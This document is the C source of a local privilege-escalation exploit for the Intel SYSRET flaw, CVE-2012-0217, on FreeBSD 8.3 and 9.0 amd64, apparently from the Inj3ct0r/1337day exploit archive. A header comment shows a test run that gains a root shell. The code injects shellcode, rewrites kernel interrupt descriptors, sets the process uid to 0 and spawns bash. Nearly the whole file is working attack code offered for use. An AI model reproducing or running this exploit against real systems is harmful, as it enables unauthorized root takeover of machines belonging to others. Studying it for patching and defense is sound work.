/* 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : 1337day.com 0 1 [+] Support e-mail : submit[at]1337day.com 1 0 0 1 ######################################### 1 0 Private 1337day exploit by Inj3ct0r team 1 1 ######################################### 0 0 1 1 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 # # Name : Intel SYSRET FreeBSD Privilege Escalation Exploit # Date : july, 16 2012 # Platform : freebsd # Type : local exploit # Web : www.r00tw0rm.com | www.1337day.com # Tested on : FreeBSD 8.3-RELEASE amd64, FreeBSD 9.0-RELEASE amd64 # Greetz : r0073r, r4dc0re, Sid3^effects, L0rd CrusAd3r, KedAns-Dz, Angel Injection, gunslinger, JF, CrosS (1337day.com) # Xenu, Versus71, alsa7r, mich4th3c0wb0y, FInnH@X, th3breacher, s3rver.exe (r00tw0rm.com) PoC testing .: satsura@0xr00tw0rm ~/Р/exploit_dev> uname -irspm FreeBSD 9.0-RELEASE amd64 amd64 GENERIC satsura@0xr00tw0rm ~/Р/exploit_dev> id uid=1001(satsura) gid=1001(satsura) группы=4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),29(audio),30(dip),44(video),46(plugdev),104(fuse),105(lpadmin),112(netdev),119(admin),126(sambashare),1001(satsura) satsura@0xr00tw0rm ~/Р/exploit_dev> ./CVE-2012-0217 [!] Running CVE-2012-0217 [+] Checking OS bit mmap() [+] Fill with NOP (0x90) last mem page [+] Final Stage [+] w00t! w00t! r0073d! xDDDD root@0xr00tw0rm:~/Рабочий стол/exploit_dev# id uid=0(root) gid=0(root) группы=4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),29(audio),30(dip),44(video),46(plugdev),104(fuse),105(lpadmin),112(netdev),119(admin),126(sambashare),1001(satsura) root@0xr00tw0rm:~/Рабочий стол/exploit_dev# */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <sys/ucred.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/proc.h> #include <sys/param.h> #include <sys/linker.h> #include <machine/cpufunc.h> #include <machine/segments.h> #include <machine/intr_machdep.h> #define _WANT_UCRED #define BSS 0 #define STATIC_OFFSET 0x250 struct gate_descriptor *gt; void *uaddr, *ustack; unsigned char evilcode[] = "\x48\xb8\x18\x00\x00\x00\x00\x00\x00\x00" "\x48\xba\x00\x00\x20\x00\x00\x8e\x00\x00" // hijack of the handler PF at 0x00000000ZZZZXXXX "\x48\xbc\xb0\x41\x18\x81\xff\xff\xff\xff" "\x0f\x05"; // syscall int validate_target(char * sysname, char * release, char * machine) { validtarget_t targets[] = { { "FreeBSD", "8.3-RELEASE", "amd64" }, { "FreeBSD", "9.0-RELEASE", "amd64" }, { 0, 0, 0 } }; int found = 0; int i = 0; while (!found && targets[i].sysname) { found = !strcmp(targets[i].sysname, sysname) && !strcmp(targets[i].release, release) && !strcmp(targets[i].machine, machine); ++i; } return found; } int is_intel() { char cpu_vendor[13]; get_cpu_vendor(cpu_vendor); return !strcmp(cpu_vendor, "GenuineIntel"); } struct restore_entry { u_char idx; u_char dpl; void *addr; u_char name[10]; } entries[] = {{ 0, 0, NULL, "idt0" }, { 0, 0, NULL, "Xrsvd"}, { IDT_DE, 0, NULL, "Xdiv" }, { IDT_DB, 0, NULL, "Xdbg" }, { IDT_NMI,2, NULL, "Xnmi" }, { IDT_BP, 0, NULL, "Xbpt" }, { IDT_OF, 0, NULL, "Xofl" }, { IDT_BR, 0, NULL, "Xbnd" }, { IDT_UD, 0, NULL, "Xill" }, { IDT_NM, 0, NULL, "Xdna" }, { IDT_DF, 1, NULL, "Xdblfault" }, { IDT_FPUGP, 0, NULL, "Xfpusegm" }, { IDT_TS, 0, NULL, "Xtss" }, { IDT_NP, 0, NULL, "Xmissing" }, { IDT_SS, 0, NULL, "Xstk" }, { IDT_GP, 0, NULL, "Xprot" }, { IDT_PF, 0, NULL, "Xpage" }, { IDT_MF, 0, NULL, "Xfpu" }, { IDT_AC, 0, NULL, "Xalign"}, { IDT_MC, 0, NULL, "Xmchk" }, { IDT_XF, 0, NULL, "Xxmm" }}; void * resolve_addr(char *func, int section) { u_int64_t addr; char cmd[128]; snprintf(cmd, sizeof(cmd) - 1, "objdump -j %s -x /boot/kernel/kernel | grep %s", (section == BSS) ? ".bss" : ".text", func); FILE *fd = popen(cmd, "r"); if(fd == NULL) return NULL; fread(cmd, sizeof(cmd), 1, fd); sscanf(cmd, "%lx %*s", &addr); return (void *)addr; } void exit_usermode(void) { setenv("PS1", "Inj3ct0r> ", 1); system("/bin/bash"); exit(0); } void setidt(idx, func, typ, dpl, ist) int idx; void *func; int typ; int dpl; int ist; { struct gate_descriptor *ip; ip = gt + idx; ip->gd_looffset = (uintptr_t)func; ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL); ip->gd_ist = ist; ip->gd_xx = 0; ip->gd_type = typ; ip->gd_dpl = dpl; ip->gd_p = 1; ip->gd_hioffset = ((uintptr_t)func)>>16 ; } void kernel_code(void) { int x, i; struct thread *td; __asm("movq %r10, %rsp"); for(x = 0; x < 29; x ++) { setidt(x, (void *)entries[1].addr, SDT_SYSIGT, SEL_KPL, 0); } for(x = 2; x < sizeof(entries) / sizeof(struct restore_entry); x ++) { setidt(entries[x].idx, entries[x].addr, SDT_SYSIGT, SEL_KPL, entries[x].dpl); } asm volatile ( "swapgs\n" "movq %%gs:0, %0":"=r"(td) ); td->td_proc->p_ucred->cr_uid = 0; asm volatile ("movq %0, %%rcx\n" "movq %1, %%rsp\n" "swapgs\n" "sysretq"::"r"(uaddr),"r"(ustack)); } int main(int argc, char *argv[]) { int x, section_type = BSS; u_short high, low; u_int64_t kaddr; printf("[!] Running Exploit CVE2012-0217\n"); printf("[+] Checking OSbit Map"); void *maddr = mmap((void *)0x7ffffffff000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON, -1, 0); if(maddr == MAP_FAILED) { perror("[-] Fuck! Error mmaped address\n"); return -1; } printf("[+]Fill with NOP 0x90 and copy Evilcode\n"); memset(maddr, 0x90, 0x1000); memcpy(maddr + 0x1000 - (sizeof(evilcode) - 1), evilcode, sizeof(evilcode) - 1); printf("[-] Resolve all addresses \n", ); for(x = 0; x < sizeof(entries) / sizeof(struct restore_entry); x ++) { entries[x].addr = resolve_addr(entries[x].name, section_type); if(entries[x].addr == NULL) { printf("[-] Can't resolve address for function %s\n", entries[x].name); return -1; } if (x == 0) section_type ++; } gt = entries[0].addr; printf("[+] Final Stage \n"); kaddr = (u_int64_t)&kernel_code; uaddr = &exit_usermode; __asm("movq %%rsp, %0" : "=m"(ustack)); printf("[+] w00t! w00t! r0073d xDDDD\n"); high = (kaddr >> 16); low = (kaddr); char *ptr = (char *)0x800000000000 - 20; *(u_short *)ptr = low; ptr = (char *)0x800000000000 - 14; *(u_short *)ptr = high; ptr = (char *)0x800000000000 - 10; *(u_int64_t *)ptr = (u_int64_t)((char *)gt + STATIC_OFFSET); (*(void(*)()) maddr)(); }